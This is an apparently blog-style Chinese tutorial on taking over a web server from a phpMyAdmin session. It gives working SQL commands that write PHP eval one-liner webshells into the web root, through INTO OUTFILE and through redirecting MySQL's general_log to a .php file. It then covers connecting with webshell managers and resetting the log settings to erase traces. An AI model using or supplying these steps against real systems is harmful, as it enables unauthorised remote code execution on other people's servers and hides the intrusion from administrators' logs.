phpmyadmin頁面getshell
前言
來到phpmyadmin頁面後如何getshell呢?下面介紹兩種方法
一、select into outfile直接寫入
1、利用條件
-
對web目錄需要有寫許可權能夠使用單引號(root)
-
知道網站絕對路徑(phpinfo/php探針/通過報錯等)
-
secure_file_priv沒有具體值
2、查看secure_file_priv值
show global variables like '%secure%';
關於secure_file_priv配置介紹:
secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取文件的許可權
當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權 當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權 當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權
我這裡的secure_file_priv值為NULL,所以不能夠導入或導出
secure_file_priv這個值是只讀變數,只能通過配置文件修改。如果管理員沒有配置,那麼我們是無法進行寫入shell的,這裡我為了測試能否寫入修改一下
在MySQL的配置文件my.ini中進行配置:
修改後secure_file_priv的值如圖所示:
3、寫入一句話
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
這裡需要注意的一個點是路徑需要用”\\”
查看下根目錄
二、利用全局日誌寫shell
1、查看配置
查看mysql的日誌狀態,默認是關閉的,因為這個日誌的量非常大對資源是一個比較大的開銷
general_log_file為日誌保存的位置
2、開啟general_log模式
開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日誌文件
利用思路:開啟general_log之後把general_log_file的值修改為該網站默認路徑下的某一個自定義的php文件中,然後通過log日誌進行寫入一句話木馬,然後再進一步利用
這裡注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell後還要恢復原來的路徑
set global general_log = on;
再查看一下日誌已經開啟,這時我們就可以通過全局日誌寫shell進根目錄
3、修改日誌目錄為shell地址
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';
4.寫入shell
因為開啟了日誌記錄功能,所執行的sql語句都會被記錄在日誌中
select '<?php eval($_POST[cmd]);?>'
查看下日誌,發現sql語句已經被記錄到了日誌中,直接用菜刀或者蟻劍連接即可
5.抹除痕迹
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log'; set global general_log = off;
再使用日誌查看命令發現已經恢復
SHOW VARIABLES LIKE '%general%'